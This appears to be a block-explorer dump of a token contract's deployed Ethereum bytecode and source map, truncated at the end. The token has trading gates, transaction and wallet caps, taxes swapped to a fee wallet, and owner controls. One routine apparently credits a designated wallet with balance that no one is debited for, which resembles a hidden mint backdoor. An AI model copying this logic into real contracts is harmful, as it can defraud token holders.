01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072a90309061071c6009600a611819565b610421906305f5e100611827565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611873565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108219190611873565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088f9190611873565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306108d6816001600160a01b03165f9081526001602052604090205490565b5f806108e95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561094f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610974919061188e565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ed91906118b9565b506010805462ff00ff60a01b19166201000160a01b179055565b5f61039f338484610b37565b6001600160a01b038316610a755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d6565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d6565b6001600160a01b038216610bfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d6565b5f8111610c5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d6565b601054600160a01b900460ff16610cf1576001600160a01b0383165f9081526003602052604090205460ff1680610cac57506001600160a01b0382165f9081526003602052604090205460ff165b610cf15760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104d6565b601054600160b01b900460ff161580610d135750601054600160a81b900460ff165b15610da8576001600160a01b0383165f90815260016020526040902054610d3a9082611179565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610d6890826111c1565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f805160206119e383398151915290610b2a9085815260200190565b5f546001600160a01b03848116911614801590610dd257505f546001600160a01b03838116911614155b15610f8a576010546001600160a01b038481169116148015610e025750600f546001600160a01b03838116911614155b8015610e2657506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0c57600b54811115610e7d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d6565b600c5481610e9f846001600160a01b03165f9081526001602052604090205490565b610ea991906118d8565b1115610ef75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d6565b600a8054905f610f06836118eb565b91905055505b305f90815260016020526040902054601054600160a81b900460ff16158015610f4257506010546001600160a01b038481169116145b8015610f575750601054600160b01b900460ff165b15610f88578015610f7f57610f7f610f7a83610f7584600d5461121f565b61121f565b610fd2565b610f8847611142565b505b610f95838383611233565b505050565b5f8184841115610fbd5760405162461bcd60e51b81526004016104d69190611622565b505f610fc98486611903565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061101857611018611916565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561106f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110939190611873565b816001815181106110a6576110a6611916565b6001600160a01b039283166020918202929092010152600f546110cc9130911684610a13565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111049085905f9086903090429060040161192a565b5f604051808303815f87803b15801561111b575f80fd5b505af115801561112d573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b5f6111ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a565b9392505050565b5f806111cd83856118d8565b9050838110156111ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d6565b5f81831161122d57826111ba565b50919050565b5f81156112fc57601054600160b01b900460ff16801561126e57506012546005546004546112619190611827565b61126c9060026118d8565b115b801561129257506001600160a01b0384165f9081526003602052604090205460ff16155b156112e1576112a082611405565b6010549091506001600160a01b0384811691161480156112c957506001600160a01b0384163014155b156112dc576112d9848484611433565b90505b6112fc565b600e546112f99085906001600160a01b0316846114a4565b90505b801561135357305f90815260016020526040812080548392906113209084906118d8565b909155505060405181815230906001600160a01b038616905f805160206119e38339815191529060200160405180910390a35b6001600160a01b0384165f908152600160205260409020546113759083611179565b6001600160a01b0385165f908152600160205260409020556113b861139a8383611179565b6001600160a01b0385165f90815260016020526040902054906111c1565b6001600160a01b038085165f8181526001602052604090209290925585165f805160206119e38339815191526113ee8585611179565b60405190815260200160405180910390a350505050565b5f806111ba606461142d600854600a541161142257600654611426565b6004545b869061153c565b906115ba565b6010545f908190600160b01b900460ff16801561145d57506010546001600160a01b038581169116145b801561147257506001600160a01b0385163014155b1561149c57610fc9606461142d600954600a541161149257600754611426565b600554869061153c565b949350505050565b5f80806012546008546114b79190611827565b101580156114c757506012548310155b1561149c576001600160a01b0384165f90815260016020526040812080548592906114f39084906118d8565b92505081905550836001600160a01b0316856001600160a01b03165f805160206119e38339815191528560405161152c91815260200190565b60405180910390a3949350505050565b5f825f0361154b57505f6103a3565b5f6115568385611827565b905082611563858361199b565b146111ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d6565b5f6111ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836116165760405162461bcd60e51b81526004016104d69190611622565b505f610fc9848661199b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104aa575f80fd5b5f806040838503121561167c575f80fd5b823561168781611657565b946020939093013593505050565b5f805f606084860312156116a7575f80fd5b83356116b281611657565b925060208401356116c281611657565b929592945050506040919091013590565b5f602082840312156116e3575f80fd5b81356111ba81611657565b5f80604083850312156116ff575f80fd5b823561170a81611657565b9150602083013561171a81611657565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561177357815f190482111561175957611759611725565b8085161561176657918102915b93841c939080029061173e565b509250929050565b5f82611789575060016103a3565b8161179557505f6103a3565b81600181146117ab57600281146117b5576117d1565b60019150506103a3565b60ff8411156117c6576117c6611725565b50506001821b6103a3565b5060208310610133831016604e8410600b84101617156117f4575081810a6103a3565b6117fe8383611739565b805f190482111561181157611811611725565b029392505050565b5f6111ba60ff84168361177b565b80820281158282048414176103a3576103a3611725565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611883575f80fd5b81516111ba81611657565b5f805f606084860312156118a0575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118c9575f80fd5b815180151581146111ba575f80fd5b808201808211156103a3576103a3611725565b5f600182016118fc576118fc611725565b5060010190565b818103818111156103a3576103a3611725565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561197a5784516001600160a01b031683529383019391830191600101611955565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119b557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220ea29025a6c77ccec732ae33f73f989ad3db1c7168daba3663843ddab4bdfc1cb64736f6c63430008190033
Deployed Bytecode Sourcemap
3913:10270:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5739:83;;;;;;;;;;-1:-1:-1;5809:5:0;;;;;;;;;;;-1:-1:-1;;;5809:5:0;;;;5739:83;;;;5809:5;5739:83;:::i;:::-;;;;;;;;6645:193;;;;;;;;;;-1:-1:-1;6645:193:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6645:193:0;893:187:1;4813:54:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4813:54:0;1085:177:1;6016:95:0;;;;;;;;;;;;;:::i;6846:446::-;;;;;;;;;;-1:-1:-1;6846:446:0;;;;;:::i;:::-;;:::i;5925:83::-;;;;;;;;;;-1:-1:-1;5925:83:0;;4610:1;1870:36:1;;1858:2;1843:18;5925:83:0;1728:184:1;4968:28:0;;;;;;;;;;-1:-1:-1;4968:28:0;;;;-1:-1:-1;;;;;4968:28:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;4968:28:0;1917:203:1;13400:361:0;;;;;;;;;;;;;:::i;:::-;;13769:184;;;;;;;;;;;;;:::i;6119:119::-;;;;;;;;;;-1:-1:-1;6119:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;2865:148;;;;;;;;;;;;;:::i;12217:162::-;;;;;;;;;;;;;:::i;4687:55::-;;;;;;;;;;;;;;;;13961:219;;;;;;;;;;;;;:::i;12482:873::-;;;;;;;;;;;;;:::i;2651:79::-;;;;;;;;;;-1:-1:-1;2689:7:0;2716:6;-1:-1:-1;;;;;2716:6:0;2651:79;;4749:57;;;;;;;;;;;;;;;;6246:199;;;;;;;;;;-1:-1:-1;6246:199:0;;;;;:::i;:::-;;:::i;6453:184::-;;;;;;;;;;-1:-1:-1;6453:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6602:18:0;;;6570:7;6602:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6453:184;6645:193;6747:4;6769:39;271:10;6792:7;6801:6;6769:8;:39::i;:::-;-1:-1:-1;6826:4:0;6645:193;;;;;:::o;6016:95::-;6069:7;4667:13;4610:1;4667:2;:13;:::i;:::-;4653:27;;:11;:27;:::i;:::-;6089:14;;6016:95;:::o;6846:446::-;6978:4;6995:36;7005:6;7013:9;7024:6;6995:9;:36::i;:::-;7042:220;7065:6;271:10;7113:138;7169:6;7113:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7113:19:0;;;;;;:11;:19;;;;;;;;271:10;7113:33;;;;;;;;;;:37;:138::i;:::-;7042:8;:220::i;:::-;-1:-1:-1;7280:4:0;6846:446;;;;;:::o;13400:361::-;13466:10;;-1:-1:-1;;;;;13466:10:0;271;-1:-1:-1;;;;;13450:26:0;;13442:35;;;;;;13529:4;13488:20;6212:18;;;:9;:18;;;;;;13550:16;;13546:79;;13583:30;13600:12;13583:16;:30::i;:::-;13656:21;13692:14;;13688:66;;13723:19;13731:10;13723:7;:19::i;:::-;13431:330;;13400:361::o;13769:184::-;13835:10;;-1:-1:-1;;;;;13835:10:0;271;-1:-1:-1;;;;;13819:26:0;;13811:35;;;;;;13886:21;13918:27;13886:21;13918:7;:27::i;:::-;13800:153;13769:184::o;2865:148::-;2778:6;;-1:-1:-1;;;;;2778:6:0;271:10;2778:22;2770:67;;;;-1:-1:-1;;;2770:67:0;;;;;;;:::i;:::-;;;;;;;;;2972:1:::1;2956:6:::0;;2935:40:::1;::::0;-1:-1:-1;;;;;2956:6:0;;::::1;::::0;2935:40:::1;::::0;2972:1;;2935:40:::1;3003:1;2986:19:::0;;-1:-1:-1;;;;;;2986:19:0::1;::::0;;2865:148::o;12217:162::-;2778:6;;-1:-1:-1;;;;;2778:6:0;271:10;2778:22;2770:67;;;;-1:-1:-1;;;2770:67:0;;;;;;;:::i;:::-;4667:13:::1;4610:1;4667:2;:13;:::i;:::-;4653:27;::::0;:11:::1;:27;:::i;:::-;12271:12;:22:::0;4667:13:::1;4610:1;4667:2;:13;:::i;:::-;4653:27;::::0;:11:::1;:27;:::i;:::-;12304:14;:24:::0;12344:27:::1;4667:13;4610:1;4667:2;:13;:::i;:::-;4653:27;::::0;:11:::1;:27;:::i;:::-;12344;::::0;1231:25:1;;;1219:2;1204:18;12344:27:0::1;;;;;;;12217:162::o:0;13961:219::-;2689:7;2716:6;-1:-1:-1;;;;;2716:6:0;14017:10;:21;14009:30;;;;;;14082:1;14058:21;:25;14050:60;;;;-1:-1:-1;;;14050:60:0;;5015:2:1;14050:60:0;;;4997:21:1;5054:2;5034:18;;;5027:30;-1:-1:-1;;;5073:18:1;;;5066:52;5135:18;;14050:60:0;4813:346:1;14050:60:0;14121:51;;14129:10;;14150:21;14121:51;;;;;;;;;14150:21;14129:10;14121:51;;;;;;;;;;;;;;;;;;;12482:873;2778:6;;-1:-1:-1;;;;;2778:6:0;271:10;2778:22;2770:67;;;;-1:-1:-1;;;2770:67:0;;;;;;;:::i;:::-;12546:11:::1;::::0;-1:-1:-1;;;12546:11:0;::::1;;;12545:12;12537:48;;;::::0;-1:-1:-1;;;12537:48:0;;5366:2:1;12537:48:0::1;::::0;::::1;5348:21:1::0;5405:2;5385:18;;;5378:30;5444:25;5424:18;;;5417:53;5487:18;;12537:48:0::1;5164:347:1::0;12537:48:0::1;12596:15;:104:::0;;-1:-1:-1;;;;;;12596:104:0::1;12647:42;12596:104:::0;;::::1;::::0;;;12713:58:::1;::::0;12730:4:::1;::::0;4667:13:::1;4610:1;4667:2;:13;:::i;:::-;4653:27;::::0;:11:::1;:27;:::i;12713:58::-;12816:15;;;;;;;;;-1:-1:-1::0;;;;;12816:15:0::1;-1:-1:-1::0;;;;;12816:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12798:55:0::1;;12876:4;12896:15;;;;;;;;;-1:-1:-1::0;;;;;12896:15:0::1;-1:-1:-1::0;;;;;12896:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12798:131;::::0;-1:-1:-1;;;;;;12798:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6002:15:1;;;12798:131:0::1;::::0;::::1;5984:34:1::0;6054:15;;6034:18;;;6027:43;5919:18;;12798:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12782:13;:147:::0;;-1:-1:-1;;;;;12782:147:0;;::::1;-1:-1:-1::0;;;;;;12782:147:0;;::::1;;::::0;;12942:15:::1;::::0;::::1;:31;12981:21;13026:4;13046:24;13026:4:::0;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;13046:24:::1;13085:1;13101::::0;13117:7:::1;2689::::0;2716:6;-1:-1:-1;;;;;2716:6:0;;2651:79;13117:7:::1;12942:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12942:223:0;;;-1:-1:-1;;;;;6440:15:1;;;12942:223:0::1;::::0;::::1;6422:34:1::0;6472:18;;;6465:34;;;;6515:18;;;6508:34;;;;6558:18;;;6551:34;6622:15;;;6601:19;;;6594:44;13139:15:0::1;6654:19:1::0;;;6647:35;6356:19;;12942:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13183:13:0::1;::::0;13228:15:::1;::::0;13176:111:::1;::::0;-1:-1:-1;;;13176:111:0;;-1:-1:-1;;;;;13228:15:0;;::::1;13176:111;::::0;::::1;7178:51:1::0;-1:-1:-1;;7245:18:1;;;7238:34;13183:13:0;::::1;::::0;-1:-1:-1;13176:29:0::1;::::0;7151:18:1;;13176:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13300:11:0::1;:18:::0;;-1:-1:-1;;;;13329:18:0;-1:-1:-1;;;13329:18:0;;;12482:873::o;6246:199::-;6351:4;6373:42;271:10;6397:9;6408:6;6373:9;:42::i;7300:369::-;-1:-1:-1;;;;;7427:19:0;;7419:68;;;;-1:-1:-1;;;7419:68:0;;7767:2:1;7419:68:0;;;7749:21:1;7806:2;7786:18;;;7779:30;7845:34;7825:18;;;7818:62;-1:-1:-1;;;7896:18:1;;;7889:34;7940:19;;7419:68:0;7565:400:1;7419:68:0;-1:-1:-1;;;;;7506:21:0;;7498:68;;;;-1:-1:-1;;;7498:68:0;;8172:2:1;7498:68:0;;;8154:21:1;8211:2;8191:18;;;8184:30;8250:34;8230:18;;;8223:62;-1:-1:-1;;;8301:18:1;;;8294:32;8343:19;;7498:68:0;7970:398:1;7498:68:0;-1:-1:-1;;;;;7577:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7629:32;;1231:25:1;;;7629:32:0;;1204:18:1;7629:32:0;;;;;;;;7300:369;;;:::o;7677:1712::-;-1:-1:-1;;;;;7799:18:0;;7791:68;;;;-1:-1:-1;;;7791:68:0;;8575:2:1;7791:68:0;;;8557:21:1;8614:2;8594:18;;;8587:30;8653:34;8633:18;;;8626:62;-1:-1:-1;;;8704:18:1;;;8697:35;8749:19;;7791:68:0;8373:401:1;7791:68:0;-1:-1:-1;;;;;7878:16:0;;7870:64;;;;-1:-1:-1;;;7870:64:0;;8981:2:1;7870:64:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:34;9039:18;;;9032:62;-1:-1:-1;;;9110:18:1;;;9103:33;9153:19;;7870:64:0;8779:399:1;7870:64:0;7962:1;7953:6;:10;7945:64;;;;-1:-1:-1;;;7945:64:0;;9385:2:1;7945:64:0;;;9367:21:1;9424:2;9404:18;;;9397:30;9463:34;9443:18;;;9436:62;-1:-1:-1;;;9514:18:1;;;9507:39;9563:19;;7945:64:0;9183:405:1;7945:64:0;8025:11;;-1:-1:-1;;;8025:11:0;;;;8020:179;;-1:-1:-1;;;;;8079:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8107:22:0;;;;;;:18;:22;;;;;;;;8079:50;8053:134;;;;-1:-1:-1;;;8053:134:0;;9795:2:1;8053:134:0;;;9777:21:1;9834:2;9814:18;;;9807:30;-1:-1:-1;;;9853:18:1;;;9846:52;9915:18;;8053:134:0;9593:346:1;8053:134:0;8216:11;;-1:-1:-1;;;8216:11:0;;;;8215:12;;:22;;-1:-1:-1;8231:6:0;;-1:-1:-1;;;8231:6:0;;;;8215:22;8211:223;;;-1:-1:-1;;;;;8272:15:0;;;;;;:9;:15;;;;;;:27;;8292:6;8272:19;:27::i;:::-;-1:-1:-1;;;;;8254:15:0;;;;;;;:9;:15;;;;;;:45;;;;8330:13;;;;;;;:25;;8348:6;8330:17;:25::i;:::-;-1:-1:-1;;;;;8314:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8375:26;;;;;;-1:-1:-1;;;;;;;;;;;8375:26:0;;;8394:6;1231:25:1;;1219:2;1204:18;;1085:177;8211:223:0;2689:7;2716:6;-1:-1:-1;;;;;8450:15:0;;;2716:6;;8450:15;;;;:32;;-1:-1:-1;2689:7:0;2716:6;-1:-1:-1;;;;;8469:13:0;;;2716:6;;8469:13;;8450:32;8446:895;;;8529:13;;-1:-1:-1;;;;;8521:21:0;;;8529:13;;8521:21;:72;;;;-1:-1:-1;8577:15:0;;-1:-1:-1;;;;;8563:30:0;;;8577:15;;8563:30;;8521:72;:116;;;;-1:-1:-1;;;;;;8615:22:0;;;;;;:18;:22;;;;;;;;8614:23;8521:116;8499:440;;;8690:12;;8680:6;:22;;8672:60;;;;-1:-1:-1;;;8672:60:0;;10146:2:1;8672:60:0;;;10128:21:1;10185:2;10165:18;;;10158:30;10224:27;10204:18;;;10197:55;10269:18;;8672:60:0;9944:349:1;8672:60:0;8807:14;;8797:6;8781:13;8791:2;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;8781:13;:22;;;;:::i;:::-;:40;;8751:140;;;;-1:-1:-1;;;8751:140:0;;10630:2:1;8751:140:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:28;10688:18;;;10681:56;10754:18;;8751:140:0;10428:350:1;8751:140:0;8912:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8499:440;9004:4;8955:28;6212:18;;;:9;:18;;;;;;9032:6;;-1:-1:-1;;;9032:6:0;;;;9031:7;:30;;;;-1:-1:-1;9048:13:0;;-1:-1:-1;;;;;9042:19:0;;;9048:13;;9042:19;9031:30;:45;;;;-1:-1:-1;9065:11:0;;-1:-1:-1;;;9065:11:0;;;;9031:45;9027:303;;;9101:24;;9097:168;;9148:117;9191:51;9195:6;9203:38;9207:20;9229:11;;9203:3;:38::i;:::-;9191:3;:51::i;:::-;9148:16;:117::i;:::-;9284:30;9292:21;9284:7;:30::i;:::-;8484:857;8446:895;9353:28;9364:4;9370:2;9374:6;9353:10;:28::i;:::-;7677:1712;;;:::o;1453:224::-;1573:7;1609:12;1601:6;;;;1593:29;;;;-1:-1:-1;;;1593:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1633:9:0;1645:5;1649:1;1645;:5;:::i;:::-;1633:17;1453:224;-1:-1:-1;;;;;1453:224:0:o;11726:483::-;5319:6;:13;;-1:-1:-1;;;;5319:13:0;-1:-1:-1;;;5319:13:0;;;11828:16:::1;::::0;;11842:1:::1;11828:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11828:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11828:16:0::1;11804:40;;11873:4;11855;11860:1;11855:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11855:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11899:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11899:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11855:7;;11899:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11889:4;11894:1;11889:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11889:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11964:15:::1;::::0;11932:62:::1;::::0;11949:4:::1;::::0;11964:15:::1;11982:11:::0;11932:8:::1;:62::i;:::-;12005:15;::::0;:196:::1;::::0;-1:-1:-1;;;12005:196:0;;-1:-1:-1;;;;;12005:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12086:11;;12005:15:::1;::::0;12128:4;;12155::::1;::::0;12175:15:::1;::::0;12005:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5355:6:0;:14;;-1:-1:-1;;;;5355:14:0;;;-1:-1:-1;;;;11726:483:0:o;12387:87::-;12439:10;;:27;;-1:-1:-1;;;;;12439:10:0;;;;:27;;;;;12459:6;;12439:10;:27;:10;:27;12459:6;12439:10;:27;;;;;;;;;;;;;;;;;;;1309:136;1367:7;1394:43;1398:1;1401;1394:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1387:50;1309:136;-1:-1:-1;;;1309:136:0:o;1122:179::-;1180:7;;1212:5;1216:1;1212;:5;:::i;:::-;1200:17;;1241:1;1236;:6;;1228:46;;;;-1:-1:-1;;;1228:46:0;;12507:2:1;1228:46:0;;;12489:21:1;12546:2;12526:18;;;12519:30;12585:29;12565:18;;;12558:57;12632:18;;1228:46:0;12305:351:1;11611:107:0;11668:7;11700:1;11696;:5;11695:15;;11709:1;11695:15;;;-1:-1:-1;11705:1:0;11611:107;-1:-1:-1;11611:107:0:o;10179:997::-;10295:17;10331:10;;10327:507;;10380:11;;-1:-1:-1;;;10380:11:0;;;;:84;;;;;10450:13;;10429;;10414:12;;:28;;;;:::i;:::-;10413:34;;10446:1;10413:34;:::i;:::-;:50;10380:84;:130;;;;-1:-1:-1;;;;;;10486:24:0;;;;;;:18;:24;;;;;;;;10485:25;10380:130;10358:465;;;10557:14;10564:6;10557;:14::i;:::-;10600:13;;10545:26;;-1:-1:-1;;;;;;10594:19:0;;;10600:13;;10594:19;:44;;;;-1:-1:-1;;;;;;10617:21:0;;10633:4;10617:21;;10594:44;10590:129;;;10675:24;10682:4;10688:2;10692:6;10675;:24::i;:::-;10663:36;;10590:129;10358:465;;;10788:10;;10771:36;;10782:4;;-1:-1:-1;;;;;10788:10:0;10800:6;10771:10;:36::i;:::-;10759:48;;10358:465;10850:13;;10846:143;;10898:4;10880:24;;;;:9;:24;;;;;:37;;10908:9;;10880:24;:37;;10908:9;;10880:37;:::i;:::-;;;;-1:-1:-1;;10937:40:0;;1231:25:1;;;10960:4:0;;-1:-1:-1;;;;;10937:40:0;;;-1:-1:-1;;;;;;;;;;;10937:40:0;1219:2:1;1204:18;10937:40:0;;;;;;;10846:143;-1:-1:-1;;;;;11017:15:0;;;;;;:9;:15;;;;;;:27;;11037:6;11017:19;:27::i;:::-;-1:-1:-1;;;;;10999:15:0;;;;;;:9;:15;;;;;:45;11071:40;11089:21;:6;11100:9;11089:10;:21::i;:::-;-1:-1:-1;;;;;11071:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11055:13:0;;;;;;;:9;:13;;;;;:56;;;;11127:41;;-1:-1:-1;;;;;;;;;;;11146:21:0;:6;11157:9;11146:10;:21::i;:::-;11127:41;;1231:25:1;;;1219:2;1204:18;11127:41:0;;;;;;;10284:892;10179:997;;;:::o;9397:257::-;9452:7;9472:17;9512:107;9615:3;9512:84;9550:12;;9538:9;;:24;9537:58;;9581:14;;9537:58;;;9566:12;;9537:58;9512:6;;:24;:84::i;:::-;:102;;:107::i;9662:509::-;9829:11;;9777:7;;;;-1:-1:-1;;;9829:11:0;;;;:34;;;;-1:-1:-1;9850:13:0;;-1:-1:-1;;;;;9844:19:0;;;9850:13;;9844:19;9829:34;:59;;;;-1:-1:-1;;;;;;9867:21:0;;9883:4;9867:21;;9829:59;9825:312;;;9917:208;10121:3;9917:181;9981:13;;9969:9;;:25;9968:111;;10064:15;;9968:111;;;10023:13;;9917:6;;:28;:181::i;9825:312::-;10154:9;9662:509;-1:-1:-1;;;;9662:509:0:o;11184:419::-;11303:7;11323:15;11399:7;11382:13;;11367:12;;:28;;;;:::i;:::-;:39;;:68;;;;;11422:13;;11410:8;:25;;11367:68;11349:222;;;-1:-1:-1;;;;;11462:25:0;;;;;;:9;:25;;;;;:37;;11491:8;;11462:25;:37;;11491:8;;11462:37;:::i;:::-;;;;;;;;11542:5;-1:-1:-1;;;;;11519:40:0;11528:4;-1:-1:-1;;;;;11519:40:0;-1:-1:-1;;;;;;;;;;;11550:8:0;11519:40;;;;1231:25:1;;1219:2;1204:18;;1085:177;11519:40:0;;;;;;;;11588:7;11184:419;-1:-1:-1;;;;11184:419:0:o;1685:246::-;1743:7;1767:1;1772;1767:6;1763:47;;-1:-1:-1;1797:1:0;1790:8;;1763:47;1820:9;1832:5;1836:1;1832;:5;:::i;:::-;1820:17;-1:-1:-1;1865:1:0;1856:5;1860:1;1820:17;1856:5;:::i;:::-;:10;1848:56;;;;-1:-1:-1;;;1848:56:0;;13085:2:1;1848:56:0;;;13067:21:1;13124:2;13104:18;;;13097:30;13163:34;13143:18;;;13136:62;-1:-1:-1;;;13214:18:1;;;13207:31;13255:19;;1848:56:0;12883:397:1;1939:132:0;1997:7;2024:39;2028:1;2031;2024:39;;;;;;;;;;;;;;;;;2199:7;2234:12;2227:5;2219:28;;;;-1:-1:-1;;;2219:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2258:9:0;2270:5;2274:1;2270;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;13